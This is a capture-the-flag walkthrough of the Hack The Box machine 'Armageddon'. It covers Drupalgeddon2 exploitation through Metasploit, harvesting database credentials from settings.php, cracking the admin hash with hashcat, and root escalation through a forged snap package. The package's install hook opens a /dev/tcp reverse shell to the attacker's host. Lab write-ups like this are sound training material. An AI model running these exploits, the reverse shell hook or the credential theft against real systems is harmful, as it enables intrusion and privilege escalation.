Armageddon Writeup

15 October 2022 #CTF #HTB #box #easy #linux

armageddon info

Enumeration

You shall not not run an nmap scan:

$ sudo nmap -p- -T4 -oN enum/fulltcp.nmap 10.10.10.233
[...]
22/tcp open  ssh
80/tcp open  http
[...]
$ ports=$(awk -F/ '/^[[:digit:]]{1,5}\// {printf "%s,", $1}' enum/fulltcp.nmap)
$ sudo nmap -p $ports -sCV -oN enum/scripts-tcp.nmap 10.10.10.233
[...]
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 82c6bbc7026a93bb7ccbdd9c30937934 (RSA)
|   256 3aca9530f312d7ca4505bcc7f116bbfc (ECDSA)
|_  256 7ad4b36879cf628a7d5a61e7060f5f33 (ED25519)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-title: Welcome to  Armageddon |  Armageddon
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
[...]

HTTP

Taking a look at the website, there is just a login page:

armageddon login page

nmap told us the site is using Drupal, which is a CMS like Wordpress.

Do not waste any more time and run gobuster:

$ gobuster dir -u http://10.10.10.233/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -o enum/80-root.dir -x php,txt -t 35
[...]
/index.php           (Status: 200)[Size: 7440]
/misc                (Status: 301)[Size: 233][--> http://10.10.10.233/misc/]
/themes              (Status: 301)[Size: 235][--> http://10.10.10.233/themes/]
/modules             (Status: 301)[Size: 236][--> http://10.10.10.233/modules/]
/scripts             (Status: 301)[Size: 236][--> http://10.10.10.233/scripts/]
/sites               (Status: 301)[Size: 234][--> http://10.10.10.233/sites/]
/includes            (Status: 301)[Size: 237][--> http://10.10.10.233/includes/]
/install.php         (Status: 200)[Size: 3172]
/profiles             (Status: 301)[Size: 237][--> http://10.10.10.233/profiles/]
/README.txt          (Status: 200)[Size: 5382]
/robots.txt          (Status: 200)[Size: 2189]
/INSTALL.txt         (Status: 200)[Size: 17995]
/LICENSE.txt         (Status: 200)[Size: 18092]
/CHANGELOG.txt       (Status: 200)[Size: 111613]
/xmlrpc.php          (Status: 200)[Size: 42]
/COPYRIGHT.txt       (Status: 200)[Size: 1481]
/UPGRADE.txt         (Status: 200)[Size: 10123]
[...]

changelogs are always interesting files so let's check it out:

drupal changelog

We get the exact version of our drupal instance. Let's throw it in searchsploit:

$ searchsploit drupal 7
[...]
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution
[...]

Not only the version matches but also the name of the exploit is an obvious hint.

Foothold

There are many scripts available to exploit this vuln but the metasploit one was the most stable for me.

msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp

Then configure the different options and run:

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 10.10.10.233
RHOSTS => 10.10.10.233
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set LHOST tun0
LHOST => tun0
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run

[*] Started reverse TCP handler on 10.10.14.14:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Sending stage (39927 bytes) to 10.10.10.233
[*] Meterpreter session 1 opened (10.10.14.14:4444 -> 10.10.10.233:34290) at 2022-10-15 08:45:27 -0400

meterpreter > shell
Process 4036 created.
Channel 0 created.
id
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0

Privesc

Drupal config file is stored in /var/www/html/sites/default/settings.php:

$databases = array (
  'default' =>
  array (
    'default' =>
    array (
      'database' => 'drupal',
      'username' => 'drupaluser',
      'password' => 'CQHEy@9M*m23gBVj',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

MySQL enumeration

We can access the mysql DB with these creds but the mysql shell won't work here because our shell is funky. We can instead use the -e option to specify a command to run:

mysql -u drupaluser -p -D drupal -e 'show tables;'
Enter password: CQHEy@9M*m23gBVj
[...]
taxonomy_vocabulary
url_alias
users
users_roles
variable
[...]

-D drupal will tell mysql to use the drupal database.

Out of the many tables in this DB, 'users' is the most interesting for sure:

mysql -u drupaluser -p -D drupal -e 'select * from users\G'
Enter password: CQHEy@9M*m23gBVj
[...]
             uid: 1
            name: brucetherealadmin
            pass: $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt
            mail: admin@armageddon.eu
           theme:
       signature:
signature_format: filtered_html
         created: 1606998756
          access: 1607077194
           login: 1607076276
          status: 1
        timezone: Europe/London
        language:
         picture: 0
            init: admin@armageddon.eu
            data: a:1:{s:7:"overlay";i:1;}
[...]

\G instead of ; formats the output in a nicer way.

Password Cracking

We have a hash so let's try to crack it:

$ echo '$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt' > hash.txt
$ hashcat hash.txt /usr/share/wordlists/rockyou.txt -O
[...]
$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt:booboo
[...]

hashcat can detect (most of the time) the hash type so we don't need to specify the -m option explicitely.

Shell as brucetherealadmin

Now that we have a password, we need to check if 'brucetherealadmin' is an actual user on the box:

grep 'sh$' /etc/passwd
root:x:0:0:root:/root:/bin/bash
brucetherealadmin:x:1000:1000::/home/brucetherealadmin:/bin/bash

He is. We can try to login as him via ssh:

$ ssh brucetherealadmin@10.10.10.233
brucetherealadmin@10.10.10.233's password:
Last login: Fri Mar 19 08:01:19 2021 from 10.10.14.5
[brucetherealadmin@armageddon ~]$

And we get in! Let's start by checking sudo rules as always:

[brucetherealadmin@armageddon ~]$ sudo -l
Matching Defaults entries for brucetherealadmin on armageddon:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL
    PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC
    LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User brucetherealadmin may run the following commands on armageddon:
    (root) NOPASSWD: /usr/bin/snap install *

We can run snap install as root without password. Let's search through GTFOBins to see if we can exploit it:

GTFOBins snap install

Sounds exactly what we want!

Forge Malicious Snap Package

We'll need fpm to forge the spooky snap pacakge. Start by installing it:

$ gem install fpm

gem is like pip but for ruby.

With that out of the way let's actually build the package:

$ mkdir -p snap/meta/hooks
$ cd snap
$ cmd="bash -c 'bash -i >& /dev/tcp/10.10.14.14/4242 0>&1'"
$ printf '#!/bin/sh\n%s ; false' "$cmd" > meta/hooks/install
$ chmod +x meta/hooks/install
$ fpm -n gibshellplz -s dir -t snap -a all meta
Created package {:path=>"gibshellplz_1.0_all.snap"}

Now we just have to get this file on the target box. We'll use scp:

$ scp gibshellplz_1.0_all.snap brucetherealadmin@10.10.10.233:
brucetherealadmin@10.10.10.233's password:
gibshellplz_1.0_all.snap			   100% 4096    67.5KB/s   00:00

Let's go back to our ssh session and install our 'special' package:

[brucetherealadmin@armageddon ~]$ ls
gibshellplz_1.0_all.snap  user.txt
[brucetherealadmin@armageddon ~]$ sudo snap install gibshellplz_1.0_all.snap --dangerous --devmode
Run install hook of "gibshellplz" snap if present

If all went well we should have a reverse shell as root on our nc listenener.

Key Takeaways